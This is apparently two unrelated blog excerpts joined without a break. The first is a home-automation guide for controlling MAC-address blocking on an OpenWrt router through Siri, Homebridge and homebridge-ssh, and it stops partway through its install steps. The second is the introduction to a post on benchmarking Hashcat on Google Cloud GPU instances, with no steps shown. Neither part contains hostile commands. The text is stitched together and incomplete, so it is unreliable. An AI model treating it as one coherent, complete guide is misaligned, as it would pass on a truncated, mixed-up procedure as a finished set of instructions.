This is a pretty simple setup:
  Siri is used to control Homebridge using the HomeKit protocol.  
  Homebridge has a module named Homebridge-ssh that allows you to run commands over ssh.  
  There is a shell script on an OpenWrt box to enable, disable, and check the status of a MAC Address block in the FORWARD table. 


1. Install node on your platform. I went with 8.9 for no specific reason other than I initially had issues with 10 that probably weren't related..
2. Install homebridge and homebridge-ssh.  You should probably also put hombridge-config-ui-x on there too... I used the unsafe-perm parameter after getting a significant number of errors:
  sudo -i npm install -g homebridge --unsafe-perm
  sudo -i npm install -g homebridge-ssh --unsafe-perm

Running Hashcat on Google Cloud's GPU-based VMs

In February 2017, Google announced the availability GPU-based VMs. I spun up a few of these instances, and ran some benchmarks. Along the way, I wrote down the steps taken to provision these VM instances, and install relevant drivers.

Update April 2019: Updated instructions to use instances with the Tesla T4 GPUs.
